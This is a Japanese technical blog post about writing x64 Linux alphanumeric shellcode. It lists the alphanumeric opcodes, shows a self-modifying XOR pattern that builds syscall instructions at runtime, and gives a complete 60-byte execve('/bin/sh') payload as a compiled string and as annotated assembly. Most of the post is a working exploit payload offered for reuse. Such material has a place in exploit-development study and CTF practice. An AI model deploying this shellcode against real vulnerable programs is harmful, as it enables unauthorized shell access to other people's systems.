x64 alphanumeric shellcodeを書く
はじめに
最近、x64でalphanumeric shellcodeを書く機会が増えてきた。その度に使える命令が何か調べ直して一から書いていて面倒だと感じたので、一旦まとめておく。 適当にググるとLinux/x86-64 - Position independent & Alphanumeric execve("/bin/sh\0",NULL,NULL); Shellcode (87 bytes)が出てきたが、うまく動作しなかった。というか無駄なことが多いように感じたので、自分で書き直してみる。
使える命令
個人的に使えると思った命令。alphanumericな命令は他にもあるが、使えるのか良く分からんので載せていない。
pushはほぼ使える。ただしpopは、6種類のレジスタでしか使えない。system callを呼びたい場合は、rdi, rsiなどへの値の設定は必須となってくるのでキツイ。もちろんsyscall
も使えない。
0x50: push rax 0x51: push rcx 0x52: push rdx 0x53: push rbx 0x54: push rsp 0x55: push rbp 0x56: push rsi 0x57: push rdi 0x4150: push r8 0x4151: push r9 0x4152: push r10 0x4153: push r11 0x4154: push r12 0x4155: push r13 0x4156: push r14 0x4157: push r15 0x58: pop rax 0x59: pop rcx 0x5a: pop rdx 0x4158: pop r8 0x4159: pop r9 0x415a: pop r10 0x34XX: xor al, imm8 0x35XXYY: xor ax, imm16 0x35XXYYZZWW: xor eax, imm32 0x6aXX: push imm8 0x68XXYYZZWW: push imm32 xor DWORD PTR [r64 + imm8], r32
よく使うパターン
shellcodeが走る領域はrwxな領域である場合が多く、不足する命令は実行中に生成すればいい。メモリに対するXORがあるので、これを用いて動的に所望の命令を作っていく。
また、shellcodeが呼ばれるときには、shellcodeの先頭を指すアドレスを持っているレジスタがいる場合が多い。それを一旦pushし、pop rcx
でrcxへと持ってくることで、xor DWORD PTR [rcx + imm8], eax
が使える。xorなので、ある程度までは自由にメモリの書き換えができる。xor eax, imm32
と組み合わせれば書き換えたいアドレスの下位32bit分は調節できるはず(確かめてない)。
よく使うパターンは、shellcodeの先頭を指すアドレスがrcxにあることを前提としている。例では、pop rsi, pop rdi, sycall
を動的に作り出している。
push 0x41413030 pop rax xor DWORD PTR [rcx+0x30], eax ※ [rcx+0x30] には0x444e6f6eが書き込まれている 0x30 ^ 0x6e = 0x5e == pop rsi 0x30 ^ 0x6f = 0x5f == pop rdi 0x41 ^ 0x4e = 0x0f 0x41 ^ 0x44 = 0x05 \x0f\x05 == syscall
sys_execve(&‘/bin/sh’, NULL, NULL)
systemcallでexecveによるシェル起動ができるalphanumeric shellcodeを書いてみる。
x64では、raxにsystemcall番号、rdiに第一引数、rsiに第二引数、rdxに第3引数を設定する必要がある。
このshellcodeでは、raxに0x3b(59)、rdiに"/bin/sh"の先頭アドレス、rsiとrdxには0を設定している。call rax
から呼び出されることを想定しているので、まずはpush rax
をしている。shellcodeが呼び出された時にshellcodeの先頭アドレスを持っているレジスタならば何でも良いので、raxでは都合が悪いときは適宜変更してほしい。ちなみに2回pushしているのは安易なパッディングである。
これをコンパイルすると、PPYh00AAX1A0hA004X1A4hA00AX1A8QX44Pj0X40PZPjAX4znoNDnRYZnCXAで60byteとなる。
/* from call rax */ push rax push rax pop rcx /* XOR pop rsi, pop rdi, syscall */ push 0x41413030 pop rax xor DWORD PTR [rcx+0x30], eax /* XOR /bin/sh */ push 0x34303041 pop rax xor DWORD PTR [rcx+0x34], eax push 0x41303041 pop rax xor DWORD PTR [rcx+0x38], eax /* rdi = &'/bin/sh' */ push rcx pop rax xor al, 0x34 push rax /* rdx = 0 */ push 0x30 pop rax xor al, 0x30 push rax pop rdx push rax /* rax = 59 (SYS_execve) */ push 0x41 pop rax xor al, 0x7a /* pop rsi, pop rdi*/ /* syscall */ .byte 0x6e .byte 0x6f .byte 0x4e .byte 0x44 /* /bin/sh */ .byte 0x6e .byte 0x52 .byte 0x59 .byte 0x5a .byte 0x6e .byte 0x43 .byte 0x5a .byte 0x41
関連リンク
Linux/x86-64 - Position independent & Alphanumeric execve("/bin/sh\0",NULL,NULL); Shellcode (87 bytes) x86 alphanumeric shellcodeを書いてみる - ももいろテクノロジー http://www.intel.co.jp/content/dam/www/public/ijkk/jp/ja/documents/developer/248966-024JA.pdf